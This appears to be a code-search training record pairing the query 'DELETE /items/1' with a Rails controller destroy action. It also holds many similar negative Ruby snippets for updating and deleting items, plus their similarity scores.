"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_multiple_items\n @items = params[:items]\n\n @items.each do |item|\n @current_item = Item.find(item[:id])\n @current_item.update(quantity: item[:quantity])\n end\n\n render :json => @items.to_json\n end",
"def update\n @item = Item.find(params[:id])\n\n get_relations_from_params\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n if @item.update(params[:item])\n format.html { redirect_to({action: :show, id: @item}, notice: 'Item was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to lists_path, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updateItem(app, repo_url, item, id)\n headers = defaultHeaders(app[\"token\"])\n data = id.merge(item).to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response \nend",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = \"Item has been updated\"\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { render :action => :edit }\n else\n format.json { render :text => \"Could not update item\", :status => :unprocessable_entity } #placeholder\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n format.html { render :action => :edit, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @item.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n item = Item.find(params[:id])\n if item.user == current_user\n if item.update(item_params)\n render json: item\n else\n render json: {errors: item.errors}, status: :unprocessable_entity\n end\n else\n render json: {errors: \"you can't do it\"}, status: :unprocessable_entity\n end\n end",
"def update\n @item.update!(item_params)\n end",
"def update_item(item_id)\n request_body = {\n 'name' => 'Malted Milkshake'\n }\n\n response = Unirest.put CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully updated item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item update failed'\n puts response.body\n return nil\n end\nend",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_path, notice: 'Item was updated successfully' }\n format.json { render :show, status: :ok, location: items_path }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_path, notice: 'Item ' + @item.name + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_url, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apiv1_item.update(apiv1_item_params)\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @apiv1_item }\n else\n format.html { render :edit }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to root_path, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = @user.items.find(params[:id])\n\n @item.update(:type_list => \"\", :tag_list => \"\")\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to [@user, @item], notice: 'item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: t('controller.successfully_updated', model: t('activerecord.models.item')) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def item_update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to item_show_path(@item), notice: 'O item foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(item_attrs = {})\n body = { update: item_attrs }\n Iterable.request(conf, base_path).patch(body)\n end",
"def update\n item = @list.list_items.find(params[:id])\n\n if item.update_attributes(params[:list_item])\n render json: item\n else\n error(t('messages.list_item.errors.update'))\n end\n end",
"def update\n task\n if @item.update(item_params)\n render json: @list.as_json, status: :ok\n else\n render json: {list: @item.errors, status: :unprocessable_entity}\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n logger.info \"Item: #{@item}\\nw/ param attr: #{params[:item].inspect}\"\n respond_to do |format|\n @item.attributes = params[:item].select{|k,v| ![:item_photos, :item_photos_attributes, :location].include?(k.to_sym) }\n\n @item.load_item_photos_with_params(params[:item] )\n\n if @item.save\n\n @item.set_by_user(auth_user)\n\n logger.info \" C) after save: attr: #{@item.attributes}\"\n\n if manage_item_photos(@item).present? || @item.changed?\n @item.save\n logger.info \" D) attr: #{@item.attributes}\"\n end\n\n format.html {\n redirect_to inventory_approve_item_path(:user_id => \"#{@item.owner.id}\")\n }\n format.json { render json:{ item: @item, success: true} }\n else\n set_flash_messages_from_errors(@item)\n format.html { render action: \"edit\" }\n format.json { render json: { error: @item.errors.first.join(' ') }, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(item_params)\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.name, status: :unprocessable_entity }\n # format.html { render json: @item, notice: 'Item was not successfully updated.' }\n end\n end\n end",
"def update\n @item = current_user.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: \"#{@item.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html do\n flash[:alert] = 'Something went wrong while updating an item.'\n render action: \"edit\"\n end\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to user_item_path(current_user, @item), notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_save_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to [@item.user, @item], notice: t('.notice') }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = TodoItem.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:todo_item])\n format.html { redirect_to @item, notice: 'TodoItem was successfully updated.' }\n format.json {render json: {\n success: true,\n data: [],\n message: \"TodoItem was successfully updated.\"\n }}\n else\n format.html { render action: \"edit\" }\n format.json { render json: {\n success: false,\n data: [],\n message: @item.errors\n }}\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7441001",
"0.7142895",
"0.71386164",
"0.70232433",
"0.7000995",
"0.6993764",
"0.6979378",
"0.69357854",
"0.6920251",
"0.6870769",
"0.68316454",
"0.68161404",
"0.6805157",
"0.6805157",
"0.6793825",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67872477",
"0.67710435",
"0.67710435",
"0.67623085",
"0.6757214",
"0.6744603",
"0.6733665",
"0.67289174",
"0.67272264",
"0.67272264",
"0.67272264",
"0.67272264",
"0.67272264",
"0.67272264",
"0.67272264",
"0.67272264",
"0.67272264",
"0.6722793",
"0.6722371",
"0.6707923",
"0.67014265",
"0.66977155",
"0.6679616",
"0.6666502",
"0.66503555",
"0.6644159",
"0.66366917",
"0.66350764",
"0.6613181",
"0.6588167",
"0.6585828",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6585255",
"0.6582007",
"0.657544",
"0.657006",
"0.6564615",
"0.6564615",
"0.6564615",
"0.6564615",
"0.6559423",
"0.65551317",
"0.6537756",
"0.6524757",
"0.651735",
"0.65118945",
"0.6502885",
"0.6497918",
"0.6495772",
"0.6492083",
"0.64578766",
"0.64577603",
"0.64543164",
"0.6439597"
] |
0.0
|
-1
|
DELETE /items/1 DELETE /items/1.json
|
def destroy
@item.destroy
respond_to do |format|
format.html { redirect_to items_url, notice: "El producto ha sido eliminado." }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete(items)\n item_ids = items.collect { |item| item.id }\n args = {ids: item_ids.to_json}\n return @client.api_helper.command(args, \"item_delete\")\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = @client.items.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully removed from Inventory.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# @item = Item.get(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to({action: :index}, notice: 'Item was successfully deleted.') }\n format.json { head :ok }\n end\n end",
"def destroy\n @apiv1_item.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = @user.items.find(params[:id])\n @item.destroy\n\n\n respond_to do |format|\n format.html { redirect_to user_items_path(@user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n item = @item.name\n @item.deleted = true\n @item.deleted_at = Time.now\n @item.save\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"#{item} was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item ||= Item.find_by_id_or_name(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def delete_item\n item_id = params[\"item_id\"]\n\n item = TextItem.find_by_id(item_id)\n item = Image.find_by_id(item_id) if item.nil?\n item = Collection.find_by_id(item_id) if item.nil?\n render_json :status => :not_found, :messages => \"Could not find the item with id #{item_id}.\" and return if item.nil?\n\n if item.class == Collection\n if params[\"id\"].nil?\n render_json :status => :bad_request, :messages => \"Can't delete a collection reference without providing the parent collection id. Please use the longer url for item deletion.\" and return\n end\n collection = Collection.find_by_id(params[\"id\"])\n else\n collection = Ownership.find_by_item_id(item_id).parent\n end\n;\n render_json :status => :not_found, :messages => \"Could not find parent collection for the item.\" and return if (collection.nil?)\n render_json :status => :forbidden, :messages => \"The user is not allowed to delete from this collection.\" and return if (!collection.delete?(@user, @client))\n\n collection.delete_item(item_id)\n render_json :entry => {} and return\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :ok }\n end\n end",
